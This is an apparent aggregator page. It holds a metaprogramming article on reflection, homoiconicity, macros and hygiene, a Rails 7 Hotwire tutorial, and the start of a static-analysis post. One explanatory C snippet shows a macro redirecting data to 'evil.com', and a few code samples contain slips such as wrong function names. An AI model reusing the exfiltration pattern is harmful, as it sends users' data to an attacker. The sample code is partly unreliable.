Oral  Brekke

Oral Brekke

1670269260

Code Writing Code

With a tour that includes Julia, Rust, and more, dive into the fascinating world of metaprogramming and get a taste for its history, common forms (such as macros), importance, and potential future.

Whenever I think about the best way to explain macros, I remember a Python program I wrote when I first started programming. I couldn’t organize it the way I wanted to. I had to call a number of slightly different functions, and the code became cumbersome. What I was searching for—though I didn’t know it then—was metaprogramming.

metaprogramming (noun)

Any technique by which a program can treat code as data.

We can construct an example that demonstrates the same problems I faced with my Python project by imagining we’re building the back end of an app for pet owners. Using the tools in a library, pet_sdk, we write Python to help the pet owners purchase cat food:

import pet_sdk

cats = pet_sdk.get_cats()
print(f"Found {len(cats)} cats!")
for cat in cats:
    pet_sdk.order_cat_food(cat, amount=cat.food_needed)

Snippet 1: Order Cat Food

After confirming that the code works, we move on to implement the same logic for two more kinds of pets (birds and dogs). We also add a feature to book vet appointments:

# An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet
import pet_sdk

# Get all of the birds, cats, and dogs in the system, respectively
birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
dogs = pet_sdk.get_dogs()

for cat in cats:
    print(f"Checking information for cat {cat.name}")

    if cat.hungry():
        pet_sdk.order_cat_food(cat, amount=cat.food_needed)
    
    cat.clean_litterbox()

    if cat.sick():
        available_vets = pet_sdk.find_vets(animal="cat")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_cat_appointment(cat)

for dog in dogs:
    print(f"Checking information for dog {dog.name}")

    if dog.hungry():
        pet_sdk.order_dog_food(dog, amount=dog.food_needed)
    
    dog.walk()

    if dog.sick():
        available_vets = pet_sdk.find_vets(animal="dog")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_dog_appointment(dog)

for bird in birds:
    print(f"Checking information for bird {bird.name}")

    if bird.hungry():
        pet_sdk.order_bird_food(bird, amount=bird.food_needed)
    
    bird.clean_cage()

    if bird.sick():
        available_vets = pet_sdk.find_birds(animal="bird")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_bird_appointment(bird)

Snippet 2: Order Cat, Dog, and Bird Food; Book Vet Appointment

It would be good to condense Snippet 2’s repetitive logic into a loop, so we set out to rewrite the code. We quickly realize that, because each function is named differently, we can’t determine which one (e.g., book_bird_appointment, book_cat_appointment) to call in our loop:

import pet_sdk

all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()

for animal in all_animals:
    # What now?

Snippet 3: What Now?

Let’s imagine a turbocharged version of Python in which we can write programs that automatically generate the final code we want—one in which we can flexibly, easily, and fluidly manipulate our program as though it were a list, data in a file, or any other common data type or program input:

import pet_sdk

for animal in ["cat", "dog", "bird"]:
    animals = pet_sdk.get_{animal}s() # When animal is "cat", this
                                      # would be pet_sdk.get_cats()

    for animal in animal:
        pet_sdk.order_{animal}_food(animal, amount=animal.food_needed)
        # When animal is "dog" this would be
        # pet_sdk.order_dog_food(dog, amount=dog.food_needed)

Snippet 4: TurboPython: An Imaginary Program

This is an example of a macro, available in languages such as Rust, Julia, or C, to name a few—but not Python.

This scenario is a great example of how it could be useful to write a program that’s able to modify and manipulate its own code. This is precisely the draw of macros, and it’s one of many answers to a bigger question: How can we get a program to introspect its own code, treating it as data, and then act on that introspection?

Broadly, all techniques that can accomplish such introspection fall under the blanket term “metaprogramming.” Metaprogramming is a rich subfield in programming language design, and it can be traced back to one important concept: code as data.

Reflection: In Defense of Python

You might point out that, although Python may not provide macro support, it offers plenty of other ways to write this code. For example, here we use the isinstance() method to identify the class our animal variable is an instance of and call the appropriate function:

# An SDK that can give us information about pets - unfortunately, the functions
# are slightly different

import pet_sdk

def process_animal(animal):
    if isinstance(animal, pet_sdk.Cat):
        animal_name_type = "cat"
        order_food_fn = pet_sdk.order_cat_food
        care_fn = animal.clean_litterbox 
    elif isinstance(animal, pet_sdk.Dog):
        animal_name_type = "dog"
        order_food_fn = pet_sdk.order_dog_food
        care_fn = animal.walk
    elif isinstance(animal, pet_sdk.Bird):
        animal_name_type = "bird"
        order_food_fn = pet_sdk.order_bird_food
        care_fn = animal.clean_cage
    else:
        raise TypeError("Unrecognized animal!")
    
    print(f"Checking information for {animal_name_type} {animal.name}")
    if animal.hungry():
        order_food_fn(animal, amount=animal.food_needed)
    
    care_fn()

    if animal.sick():
        available_vets = pet_sdk.find_vets(animal=animal_name_type)
        if len(available_vets) > 0:
            vet = available_vets[0]
            # We still have to check again what type of animal it is
            if isinstance(animal, pet_sdk.Cat):
                vet.book_cat_appointment(animal)
            elif isinstance(animal, pet_sdk.Dog):
                vet.book_dog_appointment(animal)
            else:
                vet.book_bird_appointment(animal)


all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()
for animal in all_animals:
    process_animal(animal)

Snippet 5: An Idiomatic Example

We call this type of metaprogramming reflection, and we’ll come back to it later. Snippet 5’s code is still a little cumbersome but easier for a programmer to write than Snippet 2’s, in which we repeated the logic for each listed animal.

Challenge

Using the getattr method, modify the preceding code to call the appropriate order_*_food and book_*_appointment functions dynamically. This arguably makes the code less readable, but if you know Python well, it’s worth thinking about how you might use getattr instead of the isinstance function, and simplify the code.


Homoiconicity: The Importance of Lisp

Some programming languages, like Lisp, take the concept of metaprogramming to another level via homoiconicity.

homoiconicity (noun)

The property of a programming language whereby there is no distinction between code and the data on which a program is operating.

Lisp, created in 1958, is the oldest homoiconic language and the second-oldest high-level programming language. Getting its name from “LISt Processor,” Lisp was a revolution in computing that deeply shaped how computers are used and programmed. It’s hard to overstate how fundamentally and distinctively Lisp influenced programming.

Emacs is written in Lisp, which is the only computer language that is beautiful.Neal Stephenson

Lisp was created only one year after FORTRAN, in the era of punch cards and military computers that filled a room. Yet programmers still use Lisp today to write new, modern applications. Lisp’s primary creator, John McCarthy, was a pioneer in the field of AI. For many years, Lisp was the language of AI, with researchers prizing the ability to dynamically rewrite their own code. Today’s AI research is centered around neural networks and complex statistical models, rather than that type of logic generation code. However, the research done on AI using Lisp—especially the research performed in the ’60s and ’70s at MIT and Stanford—created the field as we know it, and its massive influence continues.

Lisp’s advent exposed early programmers to the practical computational possibilities of things like recursion, higher-order functions, and linked lists for the first time. It also demonstrated the power of a programming language built on the ideas of lambda calculus.

These notions sparked an explosion in the design of programming languages and, as Edsger Dijkstra, one of the greatest names in computer science put it, […] assisted a number of our most gifted fellow humans in thinking previously impossible thoughts.”

This example shows a simple Lisp program (and its equivalent in more familiar Python syntax) that defines a function “factorial” that recursively calculates the factorial of its input and calls that function with the input “7”:

LispPython
(defun factorial (n) (if (= n 1) 1 (* n (factorial (- n 1))))) (print (factorial 7))
def factorial(n):
    if n == 1:
        return 1
    else:
        return n * factorial(n-1)

print(factorial(7))

Code as Data

Despite being one of Lisp’s most impactful and consequential innovations, homoiconicity, unlike recursion and many other concepts Lisp pioneered, did not make it into most of today’s programming languages.

The following table compares homoiconic functions that return code in both Julia and Lisp. Julia is a homoiconic language that, in many ways, resembles the high-level languages you may be familiar with (e.g., Python, Ruby).

The key piece of syntax in each example is its quoting character. Julia uses a : (colon) to quote, while Lisp uses a ' (single quote):

JuliaLisp
function function_that_returns_code() return :(x + 1) end
(defun function_that_returns_code ()
    '(+ x 1))

In both examples, the quote beside the main expression ((x + 1) or (+ x 1)) transforms it from code that would have been evaluated directly into an abstract expression that we can manipulate. The function returns code—not a string or data. If we were to call our function and write print(function_that_returns_code()), Julia would print the code stringified as x+1 (and the equivalent is true of Lisp). Conversely, without the : (or ' in Lisp), we would get an error that x was not defined.

Let’s return to our Julia example and extend it:

function function_that_returns_code(n)
    return :(x + $n)
end

my_code = function_that_returns_code(3)
print(my_code) # Prints out (x + 3)

x = 1
print(eval(my_code)) # Prints out 4
x = 3
print(eval(my_code)) # Prints out 6

Snippet 6: Julia Example Extended

The eval function can be used to run the code that we generate from elsewhere in the program. Note that the value printed out is based on the definition of the x variable. If we tried to eval our generated code in a context where x wasn’t defined, we’d get an error.

Homoiconicity is a powerful kind of metaprogramming, able to unlock novel and complex programming paradigms in which programs can adapt on the fly, generating code to fit domain-specific problems or new data formats encountered.

Take the case of WolframAlpha, where the homoiconic Wolfram Language can generate code to adapt to an incredible range of problems. You can ask WolframAlpha, “What’s the GDP of New York City divided by the population of Andorra?” and, remarkably, receive a logical response.

It seems unlikely that anyone would ever think to include this obscure and pointless calculation in a database, but Wolfram uses metaprogramming and an ontological knowledge graph to write on-the-fly code to answer this question.

It’s important to understand the flexibility and power that Lisp and other homoiconic languages provide. Before we dive further, let’s consider some of the metaprogramming options at your disposal:

 DefinitionExamplesNotes
HomoiconicityA language characteristic in which code is “first-class” data. Since there is no separation between code and data, the two can be used interchangeably.
  • Lisp
  • Prolog
  • Julia
  • Rebol/Red
  • Wolfram Language
Here, Lisp includes other languages in the Lisp family, like Scheme, Racket, and Clojure.
MacrosA statement, function, or expression that takes code as input and returns code as output.
  • Rust’s macro_rules!, Derive, and procedural macros
  • Julia’s @macro invocations
  • Lisp’s defmacro
  • C’s #define
(See the next note about C’s macros.)
Preprocessor Directives (or Precompiler)A system that takes a program as input and, based on statements included in the code, returns a changed version of the program as output.
  • C’s macros
  • C++’s # preprocessor system
C’s macros are implemented using C’s preprocessor system, but the two are separate concepts.

The key conceptual difference between C’s macros (in which we use the #define preprocessor directive) and other forms of C preprocessor directives (e.g., #if and #ifndef) is that we use the macros to generate code while using other non-#define preprocessor directives to conditionally compile other code. The two are closely related in C and in some other languages, but they’re different types of metaprogramming.
ReflectionA program’s ability to examine, modify, and introspect its own code.
  • Python’s isinstance, getattr, functions
  • JavaScript’s Reflect and typeof
  • Java’s getDeclaredMethods
  • .NET’s System.Type class hierarchy
Reflection can occur at compile time or at run time.
GenericsThe ability to write code that’s valid for a number of different types or that can be used in multiple contexts but stored in one place. We can define the contexts in which the code is valid either explicitly or implicitly.

Template-style generics:

  • C++
  • Rust
  • Java

Parametric polymorphism:

  • Haskell
  • ML
Generic programming is a broader topic than generic metaprogramming, and the line between the two isn’t well defined.

In this author’s view, a parametric type system only counts as metaprogramming if it’s in a statically typed language.
 

A Reference for Metaprogramming

Let’s look at some hands-on examples of homoiconicity, macros, preprocessor directives, reflection, and generics written in various programming languages:

# Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code
say_hi = :(println("Hello, ", name))

name = "Will"
eval(say_hi)

name = "Alice"
eval(say_hi)

Snippet 7: Homoiconicity in Julia

int main() {
#ifdef _WIN32
    printf("This section will only be compiled for and run on windows!\n");
    windows_only_function();
#elif __unix__
    printf("This section will only be compiled for and run on unix!\n");
    unix_only_function();
#endif
    printf("This line runs regardless of platform!\n");
    return 1;
}

Snippet 8: Preprocessor Directives in C

from pet_sdk import Cat, Dog, get_pet

pet = get_pet()

if isinstance(pet, Cat):
    pet.clean_litterbox()
elif isinstance(pet, Dog):
    pet.walk()
else:
    print(f"Don't know how to help a pet of type {type(pet)}")

Snippet 9: Reflection in Python

import com.example.coordinates.*;

interface Vehicle {
    public String getName();
    public void move(double xCoord, double yCoord);
}

public class VehicleDriver<T extends Vehicle> {
    // This class is valid for any other class T which implements
    // the Vehicle interface
    private final T vehicle;

    public VehicleDriver(T vehicle) {
        System.out.println("VehicleDriver: " + vehicle.getName());
        this.vehicle = vehicle;
    }

    public void goHome() {
        this.vehicle.move(HOME_X, HOME_Y);
    }

    public void goToStore() {
        this.vehicle.move(STORE_X, STORE_Y);
    }
    
}

Snippet 10: Generics in Java

macro_rules! print_and_return_if_true {
    ($val_to_check: ident, $val_to_return: expr) => {
        if ($val_to_check) {
            println!("Val was true, returning {}", $val_to_return);
            return $val_to_return;
        }
    }
}

// The following is the same as if for each of x, y, and z,
// we wrote if x { println!...}
fn example(x: bool, y: bool, z: bool) -> i32 {
    print_and_return_if_true!(x, 1);
    print_and_return_if_true!(z, 2);
    print_and_return_if_true!(y, 3);
}

Snippet 11: Macros in Rust

Macros (like the one in Snippet 11) are becoming popular again in a new generation of programming languages. To successfully develop these, we must consider a key topic: hygiene.

Hygienic and Unhygienic Macros

What does it mean for code to be “hygienic” or “unhygienic”? To clarify, let’s look at a Rust macro, instantiated by the macro_rules! function. As the name implies, macro_rules! generates code based on rules we define. In this case, we’ve named our macro my_macro, and the rule is “Create the line of code let x = $n”, where n is our input:

macro_rules! my_macro {
    ($n) => {
        let x = $n;
    }
}

fn main() {
    let x = 5;
    my_macro!(3);
    println!("{}", x);
}

Snippet 12: Hygiene in Rust

When we expand our macro (running a macro to replace its invocation with the code it generates), we would expect to get the following:

fn main() {
    let x = 5;
    let x = 3; // This is what my_macro!(3) expanded into
    println!("{}", x);
}

Snippet 13: Our Example, Expanded

Seemingly, our macro has redefined variable x to equal 3, so we may reasonably expect the program to print 3. In fact, it prints 5! Surprised? In Rust, macro_rules! is hygienic with respect to identifiers, so it would not “capture” identifiers outside of its scope. In this case, the identifier was x. Had it been captured by the macro, it would have been equal to 3.

hygiene (noun)

A property guaranteeing that a macro’s expansion will not capture identifiers or other states from beyond the macro’s scope. Macros and macro systems that do not provide this property are called unhygienic.

Hygiene in macros is a somewhat controversial topic among developers. Proponents insist that without hygiene, it is all too easy to subtly modify your code’s behavior by accident. Imagine a macro that is significantly more complex than Snippet 13 used in complex code with many variables and other identifiers. What if that macro used one of the same variables as your code—and you didn’t notice?

It’s not unusual for a developer to use a macro from an external library without having read the source code. This is especially common in newer languages that offer macro support (e.g., Rust and Julia):

#define EVIL_MACRO website="https://evil.com";

int main() {
    char *website = "https://good.com";
    EVIL_MACRO
    send_all_my_bank_data_to(website);
    return 1;
}

Snippet 14: An Evil C Macro

This unhygienic macro in C captures the identifier website and changes its value. Of course, identifier capture isn’t malicious. It’s merely an accidental consequence of using macros.

So, hygienic macros are good, and unhygienic macros are bad, right? Unfortunately, it’s not that simple. There’s a strong case to be made that hygienic macros limit us. Sometimes, identifier capture is useful. Let’s revisit Snippet 2, where we use pet_sdk to provide services for three kinds of pets. Our original code started out like this:

birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
dogs = pet_sdk.get_dogs()

for cat in cats:
    # Cat specific code
for dog in dogs:
    # Dog specific code
# etc…

Snippet 15: Back to the Vet—Recalling pet sdk

You will recall that Snippet 3 was an attempt to condense Snippet 2’s repetitive logic into an all-inclusive loop. But what if our code depends on the identifiers cats and dogs, and we wanted to write something like the following:

{animal}s = pet_sdk.get{animal}s()
for {animal} in {animal}s:
    # {animal} specific code

Snippet 16: Useful Identifier Capture (in Imaginary "TurboPython")

Snippet 16 is a bit simple, of course, but imagine a case where we would want a macro to write 100% of a given portion of code. Hygienic macros might be limiting in such a case.

While the hygienic versus unhygienic macro debate can be complex, the good news is that it’s not one in which you have to take a stance. The language you’re using determines whether your macros will be hygienic or unhygienic, so bear that in mind when using macros.

Modern Macros

Macros are having a bit of a moment now. For a long time, the focus of modern imperative programming languages shifted away from macros as a core part of their functionality, eschewing them in favor of other types of metaprogramming.

The languages that new programmers were being taught in schools (e.g., Python and Java) told them that all they needed was reflection and generics.

Over time, as those modern languages became popular, macros became associated with intimidating C and C++ preprocessor syntax—if programmers were even aware of them at all.

With the advent of Rust and Julia, however, the trend has shifted back to macros. Rust and Julia are two modern, accessible, and widely used languages that have redefined and popularized the concept of macros with some new and innovative ideas. This is especially exciting in Julia, which looks poised to take the place of Python and R as an easy-to-use, “batteries included” versatile language.

When we first looked at pet_sdk through our “TurboPython” glasses, what we really wanted was something like Julia. Let’s rewrite Snippet 2 in Julia, using its homoiconicity and some of the other metaprogramming tools that it offers:

using pet_sdk

for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage))
    get_pets_fn = Meta.parse("pet_sdk.get_${pet}s")
    @eval begin
        local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc.
        for animal in animals
            animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc.
        end
    end
end

Snippet 17: The Power of Julia’s Macros—Making pet_sdk Work for Us

Let’s break down Snippet 17:

  1. We iterate through three tuples. The first of these is ("cat", :clean_litterbox), so the variable pet is assigned to "cat", and the variable care_fn is assigned to the quoted symbol :clean_litterbox.
  2. We use the Meta.parse function to convert a string into an Expression, so we can evaluate it as code. In this case, we want to use the power of string interpolation, where we can put one string into another, to define what function to call.
  3. We use the eval function to run the code that we’re generating. @eval begin… end is another way of writing eval(...) to avoid retyping code. Inside the @eval block is code that we’re generating dynamically and running.

Julia’s metaprogramming system truly frees us to express what we want the way we want it. We could have used several other approaches, including reflection (like Python in Snippet 5). We also could have written a macro function that explicitly generates the code for a specific animal, or we could have generated the entire code as a string and used Meta.parse or any combination of those methods.

Beyond Julia: Other Modern Metaprogramming Systems

Julia is perhaps one of the most interesting and compelling examples of a modern macro system but it’s not, by any means, the only one. Rust, as well, has been instrumental in bringing macros in front of programmers once again.

In Rust, macros feature much more centrally than in Julia, though we won’t explore that fully here. For a bevy of reasons, you cannot write idiomatic Rust without using macros. In Julia, however, you could choose to completely ignore the homoiconicity and macro system.

As a direct consequence of that centrality, the Rust ecosystem has really embraced macros. Members of the community have built some incredibly cool libraries, proofs of concept, and features with macros, including tools that can serialize and deserialize data, automatically generate SQL, or even convert annotations left in code to another programming language, all generated in code at compile time.

While Julia’s metaprogramming might be more expressive and free, Rust is probably the best example of a modern language that elevates metaprogramming, as it’s featured heavily throughout the language.

An Eye to the Future

Now is an incredible time to be interested in programming languages. Today, I can write an application in C++ and run it in a web browser or write an application in JavaScript to run on a desktop or phone. Barriers to entry have never been lower, and new programmers have information at their fingertips like never before.

In this world of programmer choice and freedom, we increasingly have the privilege to use rich, modern languages, which cherry-pick features and concepts from the history of computer science and earlier programming languages. It’s exciting to see macros picked up and dusted off in this wave of development. I can’t wait to see what a new generation’s developers will do as Rust and Julia introduce them to macros. Remember, “code as data” is more than just a catchphrase. It’s a core ideology to keep in mind when discussing metaprogramming in any online community or academic setting.

‘Code as data’ is more than just a catchphrase.

 

Metaprogramming’s 64-year history has been integral to the development of programming as we know it today. While the innovations and history we explored are just a corner of the metaprogramming saga, they illustrate the robust power and utility of modern metaprogramming.

Original article source at: https://www.toptal.com/

#practice #code #julia #rust 

What is GEEK

Buddha Community

Code Writing Code
Monty  Boehm

Monty Boehm

1675304280

How to Use Hotwire Rails

Introduction

We are back with another exciting and much-talked-about Rails tutorial on how to use Hotwire with the Rails application. This Hotwire Rails tutorial is an alternate method for building modern web applications that consume a pinch of JavaScript.

Rails 7 Hotwire is the default front-end framework shipped with Rails 7 after it was launched. It is used to represent HTML over the wire in the Rails application. Previously, we used to add a hotwire-rails gem in our gem file and then run rails hotwire: install. However, with the introduction of Rails 7, the gem got deprecated. Now, we use turbo-rails and stimulus rails directly, which work as Hotwire’s SPA-like page accelerator and Hotwire’s modest JavaScript framework.

What is Hotwire?

Hotwire is a package of different frameworks that help to build applications. It simplifies the developer’s work for writing web pages without the need to write JavaScript, and instead sending HTML code over the wire.

Introduction to The Hotwire Framework:

1. Turbo:

It uses simplified techniques to build web applications while decreasing the usage of JavaScript in the application. Turbo offers numerous handling methods for the HTML data sent over the wire and displaying the application’s data without actually loading the entire page. It helps to maintain the simplicity of web applications without destroying the single-page application experience by using the below techniques:

Turbo Frames: Turbo Frames help to load the different sections of our markup without any dependency as it divides the page into different contexts separately called frames and updates these frames individually.
Turbo Drive: Every link doesn’t have to make the entire page reload when clicked. Only the HTML contained within the tag will be displayed.
Turbo Streams: To add real-time features to the application, this technique is used. It helps to bring real-time data to the application using CRUD actions.

2. Stimulus

It represents the JavaScript framework, which is required when JS is a requirement in the application. The interaction with the HTML is possible with the help of a stimulus, as the controllers that help those interactions are written by a stimulus.

3. Strada

Not much information is available about Strada as it has not been officially released yet. However, it works with native applications, and by using HTML bridge attributes, interaction is made possible between web applications and native apps.

Simple diagrammatic representation of Hotwire Stack:

Hotwire Stack

Prerequisites For Hotwire Rails Tutorial

As we are implementing the Ruby on Rails Hotwire tutorial, make sure about the following installations before you can get started.

  • Ruby on Rails
  • Hotwire gem
  • PostgreSQL/SQLite (choose any one database)
  • Turbo Rails
  • Stimulus.js

Looking for an enthusiastic team of ROR developers to shape the vision of your web project?
Contact Bacancy today and hire Ruby developers to start building your dream project!

Create a new Rails Project

Find the following commands to create a rails application.

mkdir ~/projects/railshotwire
cd ~/projects/railshotwire
echo "source 'https://rubygems.org'" > Gemfile
echo "gem 'rails', '~> 7.0.0'" >> Gemfile
bundle install  
bundle exec rails new . --force -d=postgresql

Now create some files for the project, up till now no usage of Rails Hotwire can be seen.
Fire the following command in your terminal.

  • For creating a default controller for the application
echo "class HomeController < ApplicationController" > app/controllers/home_controller.rb
echo "end" >> app/controllers/home_controller.rb
  • For creating another controller for the application
echo "class OtherController < ApplicationController" > app/controllers/other_controller.rb
echo "end" >> app/controllers/home_controller.rb
  • For creating routes for the application
echo "Rails.application.routes.draw do" > config/routes.rb
echo '  get "home/index"' >> config/routes.rb
echo '  get "other/index"' >> config/routes.rb
echo '  root to: "home#index"' >> config/routes.rb
echo 'end' >> config/routes.rb
  • For creating a default view for the application
mkdir app/views/home
echo '<h1>This is Rails Hotwire homepage</h1>' > app/views/home/index.html.erb
echo '<div><%= link_to "Enter to other page", other_index_path %></div>' >> app/views/home/index.html.erb
  • For creating another view for the application
mkdir app/views/other
echo '<h1>This is Another page</h1>' > app/views/other/index.html.erb
echo '<div><%= link_to "Enter to home page", root_path %></div>' >> app/views/other/index.html.erb
  • For creating a database and schema.rb file for the application
bin/rails db:create
bin/rails db:migrate
  • For checking the application run bin/rails s and open your browser, your running application will have the below view.

Rails Hotwire Home Page

Additionally, you can clone the code and browse through the project. Here’s the source code of the repository: Rails 7 Hotwire application

Now, let’s see how Hotwire Rails can work its magic with various Turbo techniques.

Hotwire Rails: Turbo Drive

Go to your localhost:3000 on your web browser and right-click on the Inspect and open a Network tab of the DevTools of the browser.

Now click on go to another page link that appears on the home page to redirect from the home page to another page. In our Network tab, we can see that this action of navigation is achieved via XHR. It appears only the part inside HTML is reloaded, here neither the CSS is reloaded nor the JS is reloaded when the navigation action is performed.

Hotwire Rails Turbo Drive

By performing this action we can see that Turbo Drive helps to represent the HTML response without loading the full page and only follows redirect and reindeer HTML responses which helps to make the application faster to access.

Hotwire Rails: Turbo Frame

This technique helps to divide the current page into different sections called frames that can be updated separately independently when new data is added from the server.
Below we discuss the different use cases of Turbo frame like inline edition, sorting, searching, and filtering of data.

Let’s perform some practical actions to see the example of these use cases.

Make changes in the app/controllers/home_controller.rb file

#CODE

class HomeController < ApplicationController
   def turbo_frame_form
   end
   
   def turbo_frame submit
      extracted_anynumber = params[:any][:anynumber]
      render :turbo_frame_form, status: :ok, locals: {anynumber: extracted_anynumber,      comment: 'turbo_frame_submit ok' }
   end
end

Turbo Frame

Add app/views/home/turbo_frame_form.html.erb file to the application and add this content inside the file.

#CODE

<section>

    <%= turbo_frame_tag 'anyframe' do %>
            
      <div>
          <h2>Frame view</h2>
          <%= form_with scope: :any, url: turbo_frame_submit_path, local: true do |form| %>
              <%= form.label :anynumber, 'Type an integer (odd or even)', 'class' => 'my-0  d-inline'  %>
              <%= form.text_field :anynumber, type: 'number', 'required' => 'true', 'value' => "#{local_assigns[:anynumber] || 0}",  'aria-describedby' => 'anynumber' %>
              <%= form.submit 'Submit this number', 'id' => 'submit-number' %>
          <% end %>
      </div>
      <div>
        <h2>Data of the view</h2>
        <pre style="font-size: .7rem;"><%= JSON.pretty_generate(local_assigns) %></pre> 
      </div>
      
    <% end %>

</section>

Add the content inside file

Make some adjustments in routes.rb

#CODE

Rails.application.routes.draw do
  get 'home/index'
  get 'other/index'

  get '/home/turbo_frame_form' => 'home#turbo_frame_form', as: 'turbo_frame_form'
  post '/home/turbo_frame_submit' => 'home#turbo_frame_submit', as: 'turbo_frame_submit'


  root to: "home#index"
end
  • Next step is to change homepage view in app/views/home/index.html.erb

#CODE

<h1>This is Rails Hotwire home page</h1>
<div><%= link_to "Enter to other page", other_index_path %></div>

<%= turbo_frame_tag 'anyframe' do %>        
  <div>
      <h2>Home view</h2>
      <%= form_with scope: :any, url: turbo_frame_submit_path, local: true do |form| %>
          <%= form.label :anynumber, 'Type an integer (odd or even)', 'class' => 'my-0  d-inline'  %>
          <%= form.text_field :anynumber, type: 'number', 'required' => 'true', 'value' => "#{local_assigns[:anynumber] || 0}",  'aria-describedby' => 'anynumber' %>
          <%= form.submit 'Submit this number', 'id' => 'submit-number' %>
      <% end %>
  <div>
<% end %>

Change HomePage

After making all the changes, restart the rails server and refresh the browser, the default view will appear on the browser.

restart the rails serverNow in the field enter any digit, after entering the digit click on submit button, and as the submit button is clicked we can see the Turbo Frame in action in the below screen, we can observe that the frame part changed, the first title and first link didn’t move.

submit button is clicked

Hotwire Rails: Turbo Streams

Turbo Streams deliver page updates over WebSocket, SSE or in response to form submissions by only using HTML and a series of CRUD-like operations, you are free to say that either

  • Update the piece of HTML while responding to all the other actions like the post, put, patch, and delete except the GET action.
  • Transmit a change to all users, without reloading the browser page.

This transmit can be represented by a simple example.

  • Make changes in app/controllers/other_controller.rb file of rails application

#CODE

class OtherController < ApplicationController

  def post_something
    respond_to do |format|
      format.turbo_stream {  }
    end
  end

   end

file of rails application

Add the below line in routes.rb file of the application

#CODE

post '/other/post_something' => 'other#post_something', as: 'post_something'
Add the below line

Superb! Rails will now attempt to locate the app/views/other/post_something.turbo_stream.erb template at any moment the ‘/other/post_something’ endpoint is reached.

For this, we need to add app/views/other/post_something.turbo_stream.erb template in the rails application.

#CODE

<turbo-stream action="append" target="messages">
  <template>
    <div id="message_1">This changes the existing message!</div>
  </template>
</turbo-stream>
Add template in the rails application

This states that the response will try to append the template of the turbo frame with ID “messages”.

Now change the index.html.erb file in app/views/other paths with the below content.

#CODE

<h1>This is Another page</h1>
<div><%= link_to "Enter to home page", root_path %></div>

<div style="margin-top: 3rem;">
  <%= form_with scope: :any, url: post_something_path do |form| %>
      <%= form.submit 'Post any message %>
  <% end %>
  <turbo-frame id="messages">
    <div>An empty message</div>
  </turbo-frame>
</div>
change the index.html.erb file
  • After making all the changes, restart the rails server and refresh the browser, and go to the other page.

go to the other page

  • Once the above screen appears, click on the Post any message button

Post any message button

This action shows that after submitting the response, the Turbo Streams help the developer to append the message, without reloading the page.

Another use case we can test is that rather than appending the message, the developer replaces the message. For that, we need to change the content of app/views/other/post_something.turbo_stream.erb template file and change the value of the action attribute from append to replace and check the changes in the browser.

#CODE

<turbo-stream action="replace" target="messages">
  <template>
    <div id="message_1">This changes the existing message!</div>
  </template>
</turbo-stream>

change the value of the action attributeWhen we click on Post any message button, the message that appear below that button will get replaced with the message that is mentioned in the app/views/other/post_something.turbo_stream.erb template

click on Post any message button

Stimulus

There are some cases in an application where JS is needed, therefore to cover those scenarios we require Hotwire JS tool. Hotwire has a JS tool because in some scenarios Turbo-* tools are not sufficient. But as we know that Hotwire is used to reduce the usage of JS in an application, Stimulus considers HTML as the single source of truth. Consider the case where we have to give elements on a page some JavaScript attributes, such as data controller, data-action, and data target. For that, a stimulus controller that can access elements and receive events based on those characteristics will be created.

Make a change in app/views/other/index.html.erb template file in rails application

#CODE

<h1>This is Another page</h1>
<div><%= link_to "Enter to home page", root_path %></div>

<div style="margin-top: 2rem;">
  <%= form_with scope: :any, url: post_something_path do |form| %>
      <%= form.submit 'Post something' %>
  <% end %>
  <turbo-frame id="messages">
    <div>An empty message</div>
  </turbo-frame>
</div>

<div style="margin-top: 2rem;">
  <h2>Stimulus</h2>  
  <div data-controller="hello">
    <input data-hello-target="name" type="text">
    <button data-action="click->hello#greet">
      Greet
    </button>
    <span data-hello-target="output">
    </span>
  </div>
</div>

Make A changeMake changes in the hello_controller.js in path app/JavaScript/controllers and add a stimulus controller in the file, which helps to bring the HTML into life.

#CODE

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  static targets = [ "name", "output" ]

  greet() {
    this.outputTarget.textContent =
      `Hello, ${this.nameTarget.value}!`
  }
}

add a stimulus controller in the fileGo to your browser after making the changes in the code and click on Enter to other page link which will navigate to the localhost:3000/other/index page there you can see the changes implemented by the stimulus controller that is designed to augment your HTML with just enough behavior to make it more responsive.

With just a little bit of work, Turbo and Stimulus together offer a complete answer for applications that are quick and compelling.

Using Rails 7 Hotwire helps to load the pages at a faster speed and allows you to render templates on the server, where you have access to your whole domain model. It is a productive development experience in ROR, without compromising any of the speed or responsiveness associated with SPA.

Conclusion

We hope you were satisfied with our Rails Hotwire tutorial. Write to us at service@bacancy.com for any query that you want to resolve, or if you want us to share a tutorial on your query.

For more such solutions on RoR, check out our Ruby on Rails Tutorials. We will always strive to amaze you and cater to your needs.

Original article source at: https://www.bacancytechnology.com/

#rails #ruby 

Tyrique  Littel

Tyrique Littel

1604008800

Static Code Analysis: What It Is? How to Use It?

Static code analysis refers to the technique of approximating the runtime behavior of a program. In other words, it is the process of predicting the output of a program without actually executing it.

Lately, however, the term “Static Code Analysis” is more commonly used to refer to one of the applications of this technique rather than the technique itself — program comprehension — understanding the program and detecting issues in it (anything from syntax errors to type mismatches, performance hogs likely bugs, security loopholes, etc.). This is the usage we’d be referring to throughout this post.

“The refinement of techniques for the prompt discovery of error serves as well as any other as a hallmark of what we mean by science.”

  • J. Robert Oppenheimer

Outline

We cover a lot of ground in this post. The aim is to build an understanding of static code analysis and to equip you with the basic theory, and the right tools so that you can write analyzers on your own.

We start our journey with laying down the essential parts of the pipeline which a compiler follows to understand what a piece of code does. We learn where to tap points in this pipeline to plug in our analyzers and extract meaningful information. In the latter half, we get our feet wet, and write four such static analyzers, completely from scratch, in Python.

Note that although the ideas here are discussed in light of Python, static code analyzers across all programming languages are carved out along similar lines. We chose Python because of the availability of an easy to use ast module, and wide adoption of the language itself.

How does it all work?

